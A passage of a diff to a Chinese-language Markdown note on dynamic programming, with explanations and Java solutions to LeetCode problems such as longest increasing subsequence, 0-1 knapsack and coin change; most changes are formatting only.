+对于一个长度为 N 的序列，最长递增子序列并不一定会以 S<sub>N</sub> 为结尾，因此 dp[N] 不是序列的最长递增子序列的长度，需要遍历 dp 数组找出最大值才是所要的结果，max{ dp[i] | 1 <= i <= N} 即为所求。
 
-**最长递增子序列** 
+**最长递增子序列**
 
-[300. Longest Increasing Subsequence (Medium)](https://leetcode.com/problems/longest-increasing-subsequence/description/)
+[300. Longest Increasing Subsequence (Medium)](https://leetcode.com/problems/longest-increasing-subsequence/description/)
 
 ```java
-public int lengthOfLIS(int[] nums) {
-    int n = nums.length;
-    int[] dp = new int[n];
-    for (int i = 0; i < n; i++) {
-        int max = 1;
-        for (int j = 0; j < i; j++) {
-            if (nums[i] > nums[j]) {
-                max = Math.max(max, dp[j] + 1);
-            }
-        }
-        dp[i] = max;
-    }
-    return Arrays.stream(dp).max().orElse(0);
+public int lengthOfLIS(int[] nums) {
+    int n = nums.length;
+    int[] dp = new int[n];
+    for (int i = 0; i < n; i++) {
+        int max = 1;
+        for (int j = 0; j < i; j++) {
+            if (nums[i] > nums[j]) {
+                max = Math.max(max, dp[j] + 1);
+            }
+        }
+        dp[i] = max;
+    }
+    return Arrays.stream(dp).max().orElse(0);
 }
 ```
 
-使用 Stream 求最大值会导致运行时间过长，可以改成以下形式：
+使用 Stream 求最大值会导致运行时间过长，可以改成以下形式：
 
 ```java
-int ret = 0;
-for (int i = 0; i < n; i++) {
-    ret = Math.max(ret, dp[i]);
+int ret = 0;
+for (int i = 0; i < n; i++) {
+    ret = Math.max(ret, dp[i]);
 }
-return ret;
+return ret;
 ```
 
-以上解法的时间复杂度为 O(N<sup>2</sup>)，可以使用二分查找将时间复杂度降低为 O(NlogN)。
+以上解法的时间复杂度为 O(N<sup>2</sup>)，可以使用二分查找将时间复杂度降低为 O(NlogN)。
 
-定义一个 tails 数组，其中 tails[i] 存储长度为 i + 1 的最长递增子序列的最后一个元素。对于一个元素 x，
+定义一个 tails 数组，其中 tails[i] 存储长度为 i + 1 的最长递增子序列的最后一个元素。对于一个元素 x，
 
-- 如果它大于 tails 数组所有的值，那么把它添加到 tails 后面，表示最长递增子序列长度加 1；
-- 如果 tails[i-1] < x <= tails[i]，那么更新 tails[i] = x。
+- 如果它大于 tails 数组所有的值，那么把它添加到 tails 后面，表示最长递增子序列长度加 1；
+- 如果 tails[i-1] < x <= tails[i]，那么更新 tails[i] = x。
 
-例如对于数组 [4,3,6,5]，有：
+例如对于数组 [4,3,6,5]，有：
 
 ```html
-tails      len      num
-[]         0        4
-[4]        1        3
-[3]        1        6
-[3,6]      2        5
-[3,5]      2        null
+tails      len      num
+[]         0        4
+[4]        1        3
+[3]        1        6
+[3,6]      2        5
+[3,5]      2        null
 ```
 
-可以看出 tails 数组保持有序，因此在查找 S<sub>i</sub> 位于 tails 数组的位置时就可以使用二分查找。
+可以看出 tails 数组保持有序，因此在查找 S<sub>i</sub> 位于 tails 数组的位置时就可以使用二分查找。
 
 ```java
-public int lengthOfLIS(int[] nums) {
-    int n = nums.length;
-    int[] tails = new int[n];
-    int len = 0;
-    for (int num : nums) {
-        int index = binarySearch(tails, len, num);
-        tails[index] = num;
-        if (index == len) {
-            len++;
-        }
-    }
-    return len;
+public int lengthOfLIS(int[] nums) {
+    int n = nums.length;
+    int[] tails = new int[n];
+    int len = 0;
+    for (int num : nums) {
+        int index = binarySearch(tails, len, num);
+        tails[index] = num;
+        if (index == len) {
+            len++;
+        }
+    }
+    return len;
 }
 
-private int binarySearch(int[] tails, int len, int key) {
-    int l = 0, h = len;
-    while (l < h) {
-        int mid = l + (h - l) / 2;
-        if (tails[mid] == key) {
-            return mid;
-        } else if (tails[mid] > key) {
-            h = mid;
-        } else {
-            l = mid + 1;
-        }
-    }
-    return l;
+private int binarySearch(int[] tails, int len, int key) {
+    int l = 0, h = len;
+    while (l < h) {
+        int mid = l + (h - l) / 2;
+        if (tails[mid] == key) {
+            return mid;
+        } else if (tails[mid] > key) {
+            h = mid;
+        } else {
+            l = mid + 1;
+        }
+    }
+    return l;
 }
 ```
 
-**一组整数对能够构成的最长链** 
+**一组整数对能够构成的最长链**
 
-[646. Maximum Length of Pair Chain (Medium)](https://leetcode.com/problems/maximum-length-of-pair-chain/description/)
+[646. Maximum Length of Pair Chain (Medium)](https://leetcode.com/problems/maximum-length-of-pair-chain/description/)
 
 ```html
-Input: [[1,2], [2,3], [3,4]]
-Output: 2
-Explanation: The longest chain is [1,2] -> [3,4]
+Input: [[1,2], [2,3], [3,4]]
+Output: 2
+Explanation: The longest chain is [1,2] -> [3,4]
 ```
 
-题目描述：对于 (a, b) 和 (c, d) ，如果 b < c，则它们可以构成一条链。
+题目描述：对于 (a, b) 和 (c, d) ，如果 b < c，则它们可以构成一条链。
 
 ```java
-public int findLongestChain(int[][] pairs) {
-    if (pairs == null || pairs.length == 0) {
-        return 0;
-    }
-    Arrays.sort(pairs, (a, b) -> (a[0] - b[0]));
-    int n = pairs.length;
-    int[] dp = new int[n];
-    Arrays.fill(dp, 1);
-    for (int i = 1; i < n; i++) {
-        for (int j = 0; j < i; j++) {
-            if (pairs[j][1] < pairs[i][0]) {
-                dp[i] = Math.max(dp[i], dp[j] + 1);
-            }
-        }
-    }
-    return Arrays.stream(dp).max().orElse(0);
+public int findLongestChain(int[][] pairs) {
+    if (pairs == null || pairs.length == 0) {
+        return 0;
+    }
+    Arrays.sort(pairs, (a, b) -> (a[0] - b[0]));
+    int n = pairs.length;
+    int[] dp = new int[n];
+    Arrays.fill(dp, 1);
+    for (int i = 1; i < n; i++) {
+        for (int j = 0; j < i; j++) {
+            if (pairs[j][1] < pairs[i][0]) {
+                dp[i] = Math.max(dp[i], dp[j] + 1);
+            }
+        }
+    }
+    return Arrays.stream(dp).max().orElse(0);
 }
 ```
 
-**最长摆动子序列** 
+**最长摆动子序列**
 
-[376. Wiggle Subsequence (Medium)](https://leetcode.com/problems/wiggle-subsequence/description/)
+[376. Wiggle Subsequence (Medium)](https://leetcode.com/problems/wiggle-subsequence/description/)
 
 ```html
-Input: [1,7,4,9,2,5]
-Output: 6
-The entire sequence is a wiggle sequence.
+Input: [1,7,4,9,2,5]
+Output: 6
+The entire sequence is a wiggle sequence.
 
-Input: [1,17,5,10,13,15,10,5,16,8]
-Output: 7
-There are several subsequences that achieve this length. One is [1,17,10,13,10,16,8].
+Input: [1,17,5,10,13,15,10,5,16,8]
+Output: 7
+There are several subsequences that achieve this length. One is [1,17,10,13,10,16,8].
 
-Input: [1,2,3,4,5,6,7,8,9]
-Output: 2
+Input: [1,2,3,4,5,6,7,8,9]
+Output: 2
 ```
 
-要求：使用 O(N) 时间复杂度求解。
+要求：使用 O(N) 时间复杂度求解。
 
 ```java
-public int wiggleMaxLength(int[] nums) {
-    if (nums == null || nums.length == 0) {
-        return 0;
-    }
-    int up = 1, down = 1;
-    for (int i = 1; i < nums.length; i++) {
-        if (nums[i] > nums[i - 1]) {
-            up = down + 1;
-        } else if (nums[i] < nums[i - 1]) {
-            down = up + 1;
-        }
-    }
-    return Math.max(up, down);
+public int wiggleMaxLength(int[] nums) {
+    if (nums == null || nums.length == 0) {
+        return 0;
+    }
+    int up = 1, down = 1;
+    for (int i = 1; i < nums.length; i++) {
+        if (nums[i] > nums[i - 1]) {
+            up = down + 1;
+        } else if (nums[i] < nums[i - 1]) {
+            down = up + 1;
+        }
+    }
+    return Math.max(up, down);
 }
 ```
 
-### 最长公共子序列
+### 最长公共子序列
 
-对于两个子序列 S1 和 S2，找出它们最长的公共子序列。
+对于两个子序列 S1 和 S2，找出它们最长的公共子序列。
 
-定义一个二维数组 dp 用来存储最长公共子序列的长度，其中 dp[i][j] 表示 S1 的前 i 个字符与 S2 的前 j 个字符最长公共子序列的长度。考虑 S1<sub>i</sub> 与 S2<sub>j</sub> 值是否相等，分为两种情况：
+定义一个二维数组 dp 用来存储最长公共子序列的长度，其中 dp[i][j] 表示 S1 的前 i 个字符与 S2 的前 j 个字符最长公共子序列的长度。考虑 S1<sub>i</sub> 与 S2<sub>j</sub> 值是否相等，分为两种情况：
 
-- 当 S1<sub>i</sub>==S2<sub>j</sub> 时，那么就能在 S1 的前 i-1 个字符与 S2 的前 j-1 个字符最长公共子序列的基础上再加上 S1<sub>i</sub> 这个值，最长公共子序列长度加 1，即 dp[i][j] = dp[i-1][j-1] + 1。
-- 当 S1<sub>i</sub> != S2<sub>j</sub> 时，此时最长公共子序列为 S1 的前 i-1 个字符和 S2 的前 j 个字符最长公共子序列，或者 S1 的前 i 个字符和 S2 的前 j-1 个字符最长公共子序列，取它们的最大者，即 dp[i][j] = max{ dp[i-1][j], dp[i][j-1] }。
+- 当 S1<sub>i</sub>==S2<sub>j</sub> 时，那么就能在 S1 的前 i-1 个字符与 S2 的前 j-1 个字符最长公共子序列的基础上再加上 S1<sub>i</sub> 这个值，最长公共子序列长度加 1，即 dp[i][j] = dp[i-1][j-1] + 1。
+- 当 S1<sub>i</sub> != S2<sub>j</sub> 时，此时最长公共子序列为 S1 的前 i-1 个字符和 S2 的前 j 个字符最长公共子序列，或者 S1 的前 i 个字符和 S2 的前 j-1 个字符最长公共子序列，取它们的最大者，即 dp[i][j] = max{ dp[i-1][j], dp[i][j-1] }。
 
 综上，最长公共子序列的状态转移方程为：
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=\left\{\begin{array}{rcl}dp[i-1][j-1]&&{S1_i==S2_j}\\max(dp[i-1][j],dp[i][j-1])&&{S1_i<>S2_j}\end{array}\right."/></div> <br>
+$$ dp[i][j]=\left\{ \begin{array}{rcl} dp[i-1][j-1]  &&  { S1_i==S2_j }\\ max(dp[i-1][j], dp[i][j-1])  &&{ S1_i <> S2_j } \end{array} \right. $$
 
-对于长度为 N 的序列 S<sub>1</sub> 和长度为 M 的序列 S<sub>2</sub>，dp[N][M] 就是序列 S<sub>1</sub> 和序列 S<sub>2</sub> 的最长公共子序列长度。
+对于长度为 N 的序列 S<sub>1</sub> 和长度为 M 的序列 S<sub>2</sub>，dp[N][M] 就是序列 S<sub>1</sub> 和序列 S<sub>2</sub> 的最长公共子序列长度。
 
 与最长递增子序列相比，最长公共子序列有以下不同点：
 
-- 针对的是两个序列，求它们的最长公共子序列。
-- 在最长递增子序列中，dp[i] 表示以 S<sub>i</sub> 为结尾的最长递增子序列长度，子序列必须包含 S<sub>i</sub> ；在最长公共子序列中，dp[i][j] 表示 S1 中前 i 个字符与 S2 中前 j 个字符的最长公共子序列长度，不一定包含 S1<sub>i</sub> 和 S2<sub>j</sub>。
-- 在求最终解时，最长公共子序列中 dp[N][M] 就是最终解，而最长递增子序列中 dp[N] 不是最终解，因为以 S<sub>N</sub> 为结尾的最长递增子序列不一定是整个序列最长递增子序列，需要遍历一遍 dp 数组找到最大者。
+- 针对的是两个序列，求它们的最长公共子序列。
+- 在最长递增子序列中，dp[i] 表示以 S<sub>i</sub> 为结尾的最长递增子序列长度，子序列必须包含 S<sub>i</sub> ；在最长公共子序列中，dp[i][j] 表示 S1 中前 i 个字符与 S2 中前 j 个字符的最长公共子序列长度，不一定包含 S1<sub>i</sub> 和 S2<sub>j</sub>。
+- 在求最终解时，最长公共子序列中 dp[N][M] 就是最终解，而最长递增子序列中 dp[N] 不是最终解，因为以 S<sub>N</sub> 为结尾的最长递增子序列不一定是整个序列最长递增子序列，需要遍历一遍 dp 数组找到最大者。
 
 ```java
-public int lengthOfLCS(int[] nums1, int[] nums2) {
-    int n1 = nums1.length, n2 = nums2.length;
-    int[][] dp = new int[n1 + 1][n2 + 1];
-    for (int i = 1; i <= n1; i++) {
-        for (int j = 1; j <= n2; j++) {
-            if (nums1[i - 1] == nums2[j - 1]) {
-                dp[i][j] = dp[i - 1][j - 1] + 1;
-            } else {
-                dp[i][j] = Math.max(dp[i - 1][j], dp[i][j - 1]);
-            }
-        }
-    }
-    return dp[n1][n2];
+public int lengthOfLCS(int[] nums1, int[] nums2) {
+    int n1 = nums1.length, n2 = nums2.length;
+    int[][] dp = new int[n1 + 1][n2 + 1];
+    for (int i = 1; i <= n1; i++) {
+        for (int j = 1; j <= n2; j++) {
+            if (nums1[i - 1] == nums2[j - 1]) {
+                dp[i][j] = dp[i - 1][j - 1] + 1;
+            } else {
+                dp[i][j] = Math.max(dp[i - 1][j], dp[i][j - 1]);
+            }
+        }
+    }
+    return dp[n1][n2];
 }
 ```
 
-### 0-1 背包
+### 0-1 背包
 
-有一个容量为 N 的背包，要用这个背包装下物品的价值最大，这些物品有两个属性：体积 w 和价值 v。
+有一个容量为 N 的背包，要用这个背包装下物品的价值最大，这些物品有两个属性：体积 w 和价值 v。
 
-定义一个二维数组 dp 存储最大价值，其中 dp[i][j] 表示前 i 件物品体积不超过 j 的情况下能达到的最大价值。设第 i 件物品体积为 w，价值为 v，根据第 i 件物品是否添加到背包中，可以分两种情况讨论：
+定义一个二维数组 dp 存储最大价值，其中 dp[i][j] 表示前 i 件物品体积不超过 j 的情况下能达到的最大价值。设第 i 件物品体积为 w，价值为 v，根据第 i 件物品是否添加到背包中，可以分两种情况讨论：
 
-- 第 i 件物品没添加到背包，总体积不超过 j 的前 i 件物品的最大价值就是总体积不超过 j 的前 i-1 件物品的最大价值，dp[i][j] = dp[i-1][j]。
-- 第 i 件物品添加到背包中，dp[i][j] = dp[i-1][j-w] + v。
+- 第 i 件物品没添加到背包，总体积不超过 j 的前 i 件物品的最大价值就是总体积不超过 j 的前 i-1 件物品的最大价值，dp[i][j] = dp[i-1][j]。
+- 第 i 件物品添加到背包中，dp[i][j] = dp[i-1][j-w] + v。
 
-第 i 件物品可添加也可以不添加，取决于哪种情况下最大价值更大。因此，0-1 背包的状态转移方程为：
+第 i 件物品可添加也可以不添加，取决于哪种情况下最大价值更大。因此，0-1 背包的状态转移方程为：
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=max(dp[i-1][j],dp[i-1][j-w]+v)"/></div> <br>
+$$ dp[i][j] = max(dp[i-1][j], dp[i-1][j-w] + v) $$
 
 ```java
-public int knapsack(int W, int N, int[] weights, int[] values) {
-    int[][] dp = new int[N + 1][W + 1];
-    for (int i = 1; i <= N; i++) {
-        int w = weights[i - 1], v = values[i - 1];
-        for (int j = 1; j <= W; j++) {
-            if (j >= w) {
-                dp[i][j] = Math.max(dp[i - 1][j], dp[i - 1][j - w] + v);
-            } else {
-                dp[i][j] = dp[i - 1][j];
-            }
-        }
-    }
-    return dp[N][W];
+public int knapsack(int W, int N, int[] weights, int[] values) {
+    int[][] dp = new int[N + 1][W + 1];
+    for (int i = 1; i <= N; i++) {
+        int w = weights[i - 1], v = values[i - 1];
+        for (int j = 1; j <= W; j++) {
+            if (j >= w) {
+                dp[i][j] = Math.max(dp[i - 1][j], dp[i - 1][j - w] + v);
+            } else {
+                dp[i][j] = dp[i - 1][j];
+            }
+        }
+    }
+    return dp[N][W];
 }
 ```
 
-**空间优化** 
+**空间优化**
 
-在程序实现时可以对 0-1 背包做优化。观察状态转移方程可以知道，前 i 件物品的状态仅与前 i-1 件物品的状态有关，因此可以将 dp 定义为一维数组，其中 dp[j] 既可以表示 dp[i-1][j] 也可以表示 dp[i][j]。此时，
+在程序实现时可以对 0-1 背包做优化。观察状态转移方程可以知道，前 i 件物品的状态仅与前 i-1 件物品的状态有关，因此可以将 dp 定义为一维数组，其中 dp[j] 既可以表示 dp[i-1][j] 也可以表示 dp[i][j]。此时，
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[j]=max(dp[j],dp[j-w]+v)"/></div> <br>
+$$ dp[j] = max ( dp[j], dp[j-w] + v ) $$
 
-因为 dp[j-w] 表示 dp[i-1][j-w]，因此不能先求 dp[i][j-w]，以防将 dp[i-1][j-w] 覆盖。也就是说要先计算 dp[i][j] 再计算 dp[i][j-w]，在程序实现时需要按倒序来循环求解。
+因为 dp[j-w] 表示 dp[i-1][j-w]，因此不能先求 dp[i][j-w]，以防将 dp[i-1][j-w] 覆盖。也就是说要先计算 dp[i][j] 再计算 dp[i][j-w]，在程序实现时需要按倒序来循环求解。
 
 ```java
-public int knapsack(int W, int N, int[] weights, int[] values) {
-    int[] dp = new int[W + 1];
-    for (int i = 1; i <= N; i++) {
-        int w = weights[i - 1], v = values[i - 1];
-        for (int j = W; j >= 1; j--) {
-            if (j >= w) {
-                dp[j] = Math.max(dp[j], dp[j - w] + v);
-            }
-        }
-    }
-    return dp[W];
+public int knapsack(int W, int N, int[] weights, int[] values) {
+    int[] dp = new int[W + 1];
+    for (int i = 1; i <= N; i++) {
+        int w = weights[i - 1], v = values[i - 1];
+        for (int j = W; j >= 1; j--) {
+            if (j >= w) {
+                dp[j] = Math.max(dp[j], dp[j - w] + v);
+            }
+        }
+    }
+    return dp[W];
 }
 ```
 
-**无法使用贪心算法的解释** 
+**无法使用贪心算法的解释**
 
-0-1 背包问题无法使用贪心算法来求解，也就是说不能按照先添加性价比最高的物品来达到最优，这是因为这种方式可能造成背包空间的浪费，从而无法达到最优。考虑下面的物品和一个容量为 5 的背包，如果先添加物品 0 再添加物品 1，那么只能存放的价值为 16，浪费了大小为 2 的空间。最优的方式是存放物品 1 和物品 2，价值为 22.
+0-1 背包问题无法使用贪心算法来求解，也就是说不能按照先添加性价比最高的物品来达到最优，这是因为这种方式可能造成背包空间的浪费，从而无法达到最优。考虑下面的物品和一个容量为 5 的背包，如果先添加物品 0 再添加物品 1，那么只能存放的价值为 16，浪费了大小为 2 的空间。最优的方式是存放物品 1 和物品 2，价值为 22.
 
-| id | w | v | v/w |
-| --- | --- | --- | --- |
-| 0 | 1 | 6 | 6 |
-| 1 | 2 | 10 | 5 |
-| 2 | 3 | 12 | 4 |
+| id | w | v | v/w |
+| --- | --- | --- | --- |
+| 0 | 1 | 6 | 6 |
+| 1 | 2 | 10 | 5 |
+| 2 | 3 | 12 | 4 |
 
-**变种** 
+**变种**
 
-- 完全背包：物品数量为无限个
+- 完全背包：物品数量为无限个
 
-- 多重背包：物品数量有限制
+- 多重背包：物品数量有限制
 
-- 多维费用背包：物品不仅有重量，还有体积，同时考虑这两种限制
+- 多维费用背包：物品不仅有重量，还有体积，同时考虑这两种限制
 
-- 其它：物品之间相互约束或者依赖
+- 其它：物品之间相互约束或者依赖
 
-**划分数组为和相等的两部分** 
+**划分数组为和相等的两部分**
 
-[416. Partition Equal Subset Sum (Medium)](https://leetcode.com/problems/partition-equal-subset-sum/description/)
+[416. Partition Equal Subset Sum (Medium)](https://leetcode.com/problems/partition-equal-subset-sum/description/)
 
 ```html
-Input: [1, 5, 11, 5]
+Input: [1, 5, 11, 5]
 
-Output: true
+Output: true
 
-Explanation: The array can be partitioned as [1, 5, 5] and [11].
+Explanation: The array can be partitioned as [1, 5, 5] and [11].
 ```
 
-可以看成一个背包大小为 sum/2 的 0-1 背包问题。
+可以看成一个背包大小为 sum/2 的 0-1 背包问题。
 
 ```java
-public boolean canPartition(int[] nums) {
-    int sum = computeArraySum(nums);
-    if (sum % 2 != 0) {
-        return false;
-    }
-    int W = sum / 2;
-    boolean[] dp = new boolean[W + 1];
-    dp[0] = true;
-    Arrays.sort(nums);
-    for (int num : nums) {                 // 0-1 背包一个物品只能用一次
-        for (int i = W; i >= num; i--) {   // 从后往前，先计算 dp[i] 再计算 dp[i-num]
-            dp[i] = dp[i] || dp[i - num];
-        }
-    }
-    return dp[W];
+public boolean canPartition(int[] nums) {
+    int sum = computeArraySum(nums);
+    if (sum % 2 != 0) {
+        return false;
+    }
+    int W = sum / 2;
+    boolean[] dp = new boolean[W + 1];
+    dp[0] = true;
+    Arrays.sort(nums);
+    for (int num : nums) {                 // 0-1 背包一个物品只能用一次
+        for (int i = W; i >= num; i--) {   // 从后往前，先计算 dp[i] 再计算 dp[i-num]
+            dp[i] = dp[i] || dp[i - num];
+        }
+    }
+    return dp[W];
 }
 
-private int computeArraySum(int[] nums) {
-    int sum = 0;
-    for (int num : nums) {
-        sum += num;
-    }
-    return sum;
+private int computeArraySum(int[] nums) {
+    int sum = 0;
+    for (int num : nums) {
+        sum += num;
+    }
+    return sum;
 }
 ```
 
-**改变一组数的正负号使得它们的和为一给定数** 
+**改变一组数的正负号使得它们的和为一给定数**
 
-[494. Target Sum (Medium)](https://leetcode.com/problems/target-sum/description/)
+[494. Target Sum (Medium)](https://leetcode.com/problems/target-sum/description/)
 
 ```html
-Input: nums is [1, 1, 1, 1, 1], S is 3.
-Output: 5
+Input: nums is [1, 1, 1, 1, 1], S is 3.
+Output: 5
 Explanation:
 
--1+1+1+1+1 = 3
-+1-1+1+1+1 = 3
-+1+1-1+1+1 = 3
-+1+1+1-1+1 = 3
-+1+1+1+1-1 = 3
+-1+1+1+1+1 = 3
++1-1+1+1+1 = 3
++1+1-1+1+1 = 3
++1+1+1-1+1 = 3
++1+1+1+1-1 = 3
 
-There are 5 ways to assign symbols to make the sum of nums be target 3.
+There are 5 ways to assign symbols to make the sum of nums be target 3.
 ```
 
-该问题可以转换为 Subset Sum 问题，从而使用 0-1 背包的方法来求解。
+该问题可以转换为 Subset Sum 问题，从而使用 0-1 背包的方法来求解。
 
-可以将这组数看成两部分，P 和 N，其中 P 使用正号，N 使用负号，有以下推导：
+可以将这组数看成两部分，P 和 N，其中 P 使用正号，N 使用负号，有以下推导：
 
 ```html
-                  sum(P) - sum(N) = target
-sum(P) + sum(N) + sum(P) - sum(N) = target + sum(P) + sum(N)
-                       2 * sum(P) = target + sum(nums)
+                  sum(P) - sum(N) = target
+sum(P) + sum(N) + sum(P) - sum(N) = target + sum(P) + sum(N)
+                       2 * sum(P) = target + sum(nums)
 ```
 
-因此只要找到一个子集，令它们都取正号，并且和等于 (target + sum(nums))/2，就证明存在解。
+因此只要找到一个子集，令它们都取正号，并且和等于 (target + sum(nums))/2，就证明存在解。
 
 ```java
-public int findTargetSumWays(int[] nums, int S) {
-    int sum = computeArraySum(nums);
-    if (sum < S || (sum + S) % 2 == 1) {
-        return 0;
-    }
-    int W = (sum + S) / 2;
-    int[] dp = new int[W + 1];
-    dp[0] = 1;
-    for (int num : nums) {
-        for (int i = W; i >= num; i--) {
-            dp[i] = dp[i] + dp[i - num];
-        }
-    }
-    return dp[W];
+public int findTargetSumWays(int[] nums, int S) {
+    int sum = computeArraySum(nums);
+    if (sum < S || (sum + S) % 2 == 1) {
+        return 0;
+    }
+    int W = (sum + S) / 2;
+    int[] dp = new int[W + 1];
+    dp[0] = 1;
+    for (int num : nums) {
+        for (int i = W; i >= num; i--) {
+            dp[i] = dp[i] + dp[i - num];
+        }
+    }
+    return dp[W];
 }
 
-private int computeArraySum(int[] nums) {
-    int sum = 0;
-    for (int num : nums) {
-        sum += num;
-    }
-    return sum;
+private int computeArraySum(int[] nums) {
+    int sum = 0;
+    for (int num : nums) {
+        sum += num;
+    }
+    return sum;
 }
 ```
 
-DFS 解法：
+DFS 解法：
 
 ```java
-public int findTargetSumWays(int[] nums, int S) {
-    return findTargetSumWays(nums, 0, S);
+public int findTargetSumWays(int[] nums, int S) {
+    return findTargetSumWays(nums, 0, S);
 }
 
-private int findTargetSumWays(int[] nums, int start, int S) {
-    if (start == nums.length) {
-        return S == 0 ? 1 : 0;
-    }
-    return findTargetSumWays(nums, start + 1, S + nums[start])
-            + findTargetSumWays(nums, start + 1, S - nums[start]);
+private int findTargetSumWays(int[] nums, int start, int S) {
+    if (start == nums.length) {
+        return S == 0 ? 1 : 0;
+    }
+    return findTargetSumWays(nums, start + 1, S + nums[start])
+            + findTargetSumWays(nums, start + 1, S - nums[start]);
 }
 ```
 
-**字符串按单词列表分割** 
+**字符串按单词列表分割**
 
-[139. Word Break (Medium)](https://leetcode.com/problems/word-break/description/)
+[139. Word Break (Medium)](https://leetcode.com/problems/word-break/description/)
 
 ```html
-s = "leetcode",
-dict = ["leet", "code"].
-Return true because "leetcode" can be segmented as "leet code".
+s = "leetcode",
+dict = ["leet", "code"].
+Return true because "leetcode" can be segmented as "leet code".
 ```
 
-dict 中的单词没有使用次数的限制，因此这是一个完全背包问题。
+dict 中的单词没有使用次数的限制，因此这是一个完全背包问题。
 
-0-1 背包和完全背包在实现上的不同之处是，0-1 背包对物品的迭代是在最外层，而完全背包对物品的迭代是在最里层。
+0-1 背包和完全背包在实现上的不同之处是，0-1 背包对物品的迭代是在最外层，而完全背包对物品的迭代是在最里层。
 
 ```java
-public boolean wordBreak(String s, List<String> wordDict) {
-    int n = s.length();
-    boolean[] dp = new boolean[n + 1];
-    dp[0] = true;
-    for (int i = 1; i <= n; i++) {
-        for (String word : wordDict) {   // 完全一个物品可以使用多次
-            int len = word.length();
-            if (len <= i && word.equals(s.substring(i - len, i))) {
-                dp[i] = dp[i] || dp[i - len];
-            }
-        }
-    }
-    return dp[n];
+public boolean wordBreak(String s, List<String> wordDict) {
+    int n = s.length();
+    boolean[] dp = new boolean[n + 1];
+    dp[0] = true;
+    for (int i = 1; i <= n; i++) {
+        for (String word : wordDict) {   // 完全一个物品可以使用多次
+            int len = word.length();
+            if (len <= i && word.equals(s.substring(i - len, i))) {
+                dp[i] = dp[i] || dp[i - len];
+            }
+        }
+    }
+    return dp[n];
 }
 ```
 
-**01 字符构成最多的字符串** 
+**01 字符构成最多的字符串**
 
-[474. Ones and Zeroes (Medium)](https://leetcode.com/problems/ones-and-zeroes/description/)
+[474. Ones and Zeroes (Medium)](https://leetcode.com/problems/ones-and-zeroes/description/)
 
 ```html
-Input: Array = {"10", "0001", "111001", "1", "0"}, m = 5, n = 3
-Output: 4
+Input: Array = {"10", "0001", "111001", "1", "0"}, m = 5, n = 3
+Output: 4
 
-Explanation: There are totally 4 strings can be formed by the using of 5 0s and 3 1s, which are "10","0001","1","0"
+Explanation: There are totally 4 strings can be formed by the using of 5 0s and 3 1s, which are "10","0001","1","0"
 ```
 
-这是一个多维费用的 0-1 背包问题，有两个背包大小，0 的数量和 1 的数量。
+这是一个多维费用的 0-1 背包问题，有两个背包大小，0 的数量和 1 的数量。
 
 ```java
-public int findMaxForm(String[] strs, int m, int n) {
-    if (strs == null || strs.length == 0) {
-        return 0;
-    }
-    int[][] dp = new int[m + 1][n + 1];
-    for (String s : strs) {    // 每个字符串只能用一次
-        int ones = 0, zeros = 0;
-        for (char c : s.toCharArray()) {
-            if (c == '0') {
-                zeros++;
-            } else {
-                ones++;
-            }
-        }
-        for (int i = m; i >= zeros; i--) {
-            for (int j = n; j >= ones; j--) {
-                dp[i][j] = Math.max(dp[i][j], dp[i - zeros][j - ones] + 1);
-            }
-        }
-    }
-    return dp[m][n];
+public int findMaxForm(String[] strs, int m, int n) {
+    if (strs == null || strs.length == 0) {
+        return 0;
+    }
+    int[][] dp = new int[m + 1][n + 1];
+    for (String s : strs) {    // 每个字符串只能用一次
+        int ones = 0, zeros = 0;
+        for (char c : s.toCharArray()) {
+            if (c == '0') {
+                zeros++;
+            } else {
+                ones++;
+            }
+        }
+        for (int i = m; i >= zeros; i--) {
+            for (int j = n; j >= ones; j--) {
+                dp[i][j] = Math.max(dp[i][j], dp[i - zeros][j - ones] + 1);
+            }
+        }
+    }
+    return dp[m][n];
 }
 ```
 
-**找零钱的最少硬币数** 
+**找零钱的最少硬币数**
 
-[322. Coin Change (Medium)](https://leetcode.com/problems/coin-change/description/)
+[322. Coin Change (Medium)](https://leetcode.com/problems/coin-change/description/)
 
 ```html
-Example 1:
-coins = [1, 2, 5], amount = 11
-return 3 (11 = 5 + 5 + 1)
+Example 1:
+coins = [1, 2, 5], amount = 11
+return 3 (11 = 5 + 5 + 1)
 
-Example 2:
-coins = [2], amount = 3
-return -1.
+Example 2:
+coins = [2], amount = 3
+return -1.
 ```
 
 题目描述：给一些面额的硬币，要求用这些硬币来组成给定面额的钱数，并且使得硬币数量最少。硬币可以重复使用。
 
-- 物品：硬币
-- 物品大小：面额
-- 物品价值：数量
+- 物品：硬币
+- 物品大小：面额
+- 物品价值：数量
 
 因为硬币可以重复使用，因此这是一个完全背包问题。
 
 ```java
-public int coinChange(int[] coins, int amount) {
-    if (coins == null || coins.length == 0) {
-        return 0;
-    }
-    int[] minimum = new int[amount + 1];
-    Arrays.fill(minimum, amount + 1);
-    minimum[0] = 0;
-    Arrays.sort(coins);
-    for (int i = 1; i <= amount; i++) {
-        for (int j = 0; j < coins.length && coins[j] <= i; j++) {
-            minimum[i] = Math.min(minimum[i], minimum[i - coins[j]] + 1);
-        }
-    }
-    return minimum[amount] > amount ? -1 : minimum[amount];
+public int coinChange(int[] coins, int amount) {
+    if (coins == null || coins.length == 0) {
+        return 0;
+    }
+    int[] minimum = new int[amount + 1];
+    Arrays.fill(minimum, amount + 1);
+    minimum[0] = 0;
+    Arrays.sort(coins);
+    for (int i = 1; i <= amount; i++) {
+        for (int j = 0; j < coins.length && coins[j] <= i; j++) {
+            minimum[i] = Math.min(minimum[i], minimum[i - coins[j]] + 1);
+        }
+    }
+    return minimum[amount] > amount ? -1 : minimum[amount];
 }
 ```
 
-**组合总和** 
+**组合总和**
 
-[377. Combination Sum IV (Medium)](https://leetcode.com/problems/combination-sum-iv/description/)
+[377. Combination Sum IV (Medium)](https://leetcode.com/problems/combination-sum-iv/description/)
 
 ```html
-nums = [1, 2, 3]
-target = 4
+nums = [1, 2, 3]
+target = 4
 
-The possible combination ways are:
-(1, 1, 1, 1)
-(1, 1, 2)
-(1, 2, 1)
-(1, 3)
-(2, 1, 1)
-(2, 2)
-(3, 1)
+The possible combination ways are:
+(1, 1, 1, 1)
+(1, 1, 2)
+(1, 2, 1)
+(1, 3)
+(2, 1, 1)
+(2, 2)
+(3, 1)
 
-Note that different sequences are counted as different combinations.
+Note that different sequences are counted as different combinations.
 
-Therefore the output is 7.
+Therefore the output is 7.
 ```
 
 完全背包。
 
 ```java
-public int combinationSum4(int[] nums, int target) {
